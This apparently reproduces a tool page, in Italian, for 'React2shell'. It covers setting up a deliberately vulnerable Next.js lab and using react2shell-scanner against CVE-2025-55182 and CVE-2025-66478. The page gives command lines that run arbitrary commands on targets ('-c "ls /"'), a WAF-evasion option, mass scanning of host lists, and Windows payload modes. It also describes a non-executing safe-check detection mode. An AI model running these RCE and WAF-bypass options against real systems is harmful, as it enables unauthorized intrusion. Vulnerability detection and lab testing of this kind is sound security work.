Versioni Interessate

Build e Avvio

1. Installa forzatamente una versione precedente

   root@kitploit:~

   cd cve-2025-55182-target
   npm install --force
   

2. Verifica le versioni delle dipendenze

   root@kitploit:~

   npm list react next
   # 确认输出显示 [email protected] 和 [email protected]
   

   Finché l'elenco delle dipendenze di primo livello mostra [email protected] e [email protected], l'ambiente risulta correttamente bloccato nello stato vulnerabile; puoi ignorare eventuali avvisi e codici di errore visualizzati.

3. Compilazione:

   root@kitploit:~

   npm run build
   

4. Avvio:

   root@kitploit:~

   npm start
   

   Il server ascolterà su http://localhost:3000. Configurazione dell'ambiente completata, puoi iniziare la verifica della vulnerabilità.

Esempio

• Rilevamento/Scansione della vulnerabilità:

  root@kitploit:~

  cd React2shell
  python3.11 scanner.py -u http://127.0.0.1:3000/
  

• RCE:

  root@kitploit:~

  python3.11 scanner_with_rce.py -u http://127.0.0.1:3000/ -c "ls /"
  

  

Riferimenti

react2shell-scanner

react2shell-scanner

Uno strumento da riga di comando per rilevare CVE-2025-55182 e CVE-2025-66478 nelle applicazioni Next.js che utilizzano React Server Components.

Per i dettagli tecnici sulla vulnerabilità e sulla metodologia di rilevamento, consulta il nostro post sul blog: https://slcyber.io/research-center/high-fidelity-detection-mechanism-for-rsc-next-js-rce-cve-2025-55182-cve-2025-66478

Come Funziona

Per impostazione predefinita, lo scanner invia una richiesta POST multipart appositamente realizzata contenente un payload proof-of-concept RCE che esegue un'operazione matematica deterministica (41*271 = 11111). Gli host vulnerabili restituiscono il risultato nell'header di risposta X-Action-Redirect come /login?a=11111.

Lo scanner testa prima il percorso root. Se non è vulnerabile, segue i redirect dello stesso host (ad es. / a /en/) e testa la destinazione del redirect. I redirect cross-origin non vengono seguiti.

Modalità Safe Check

Il flag --safe-check utilizza un metodo di rilevamento alternativo che si basa su indicatori side-channel (codice di stato 500 con specifico error digest) senza eseguire codice sul target. Usa questa modalità quando non si desidera eseguire RCE.

Bypass WAF

Il flag --waf-bypass antepone dati casuali al corpo della richiesta multipart. Questo può aiutare a eludere l'ispezione dei contenuti WAF che analizza solo la prima parte del corpo della richiesta. La dimensione predefinita è 128KB, configurabile tramite --waf-bypass-size. Quando il bypass WAF è abilitato, il timeout viene automaticamente aumentato a 20 secondi (a meno che non venga impostato esplicitamente).

Modalità Windows

Il flag --windows cambia il payload da shell Unix (echo $((41*271))) a PowerShell (powershell -c "41*271") per i target che eseguono Windows.

Requisiti

• Python 3.9+
• requests
• tqdm

Installazione

pip install -r requirements.txt

Utilizzo

Scansione di un singolo host:

python3 scanner.py -u https://example.com

Scansione di un elenco di host:

python3 scanner.py -l hosts.txt

Scansione con più thread e salvataggio dei risultati:

python3 scanner.py -l hosts.txt -t 20 -o results.json

Scansione con header personalizzati:

python3 scanner.py -u https://example.com -H "Authorization: Bearer token" -H "Cookie: session=abc"

Utilizza il rilevamento side-channel sicuro:

python3 scanner.py -u https://example.com --safe-check

Scansione di target Windows:

python3 scanner.py -u https://example.com --windows

Scansione con bypass WAF:

python3 scanner.py -u https://example.com --waf-bypass

RCE

python3 scanner.py -u https://example.com -c "ls /"

Opzioni

-u, --url         Single URL to check
-c, --cmd         Command to execute
-l, --list        File containing hosts (one per line)
-t, --threads     Number of concurrent threads (default: 10)
--timeout         Request timeout in seconds (default: 10)
-o, --output      Output file for results (JSON)
--all-results     Save all results, not just vulnerable hosts
-k, --insecure    Disable SSL certificate verification
-H, --header      Custom header (can be used multiple times)
-v, --verbose     Show response details for vulnerable hosts
-q, --quiet       Only output vulnerable hosts
--no-color        Disable colored output
--safe-check      Use safe side-channel detection instead of RCE PoC
--windows         Use Windows PowerShell payload instead of Unix shell
--waf-bypass      Add junk data to bypass WAF content inspection
--waf-bypass-size Size of junk data in KB (default: 128)

Crediti

Il PoC RCE è stato originariamente divulgato da @maple3142 -- siamo incredibilmente grati per il loro lavoro nella pubblicazione di un PoC funzionante.

Questo strumento è stato originariamente realizzato come un modo sicuro per rilevare la RCE. Questa funzionalità è ancora disponibile tramite --safe-check, la modalità di "rilevamento sicuro".

• Assetnote Security Research Team - Adam Kues, Tomais Williamson, Dylan Pindur, Patrik Grobshäuser, Shubham Shah
• xEHLE_ - Riflessione dell'output RCE nell'header di risposta
• Nagli

Output

I risultati vengono stampati sul terminale. Quando si utilizza -o, gli host vulnerabili vengono salvati in un file JSON contenente l'intera richiesta e risposta HTTP per la verifica.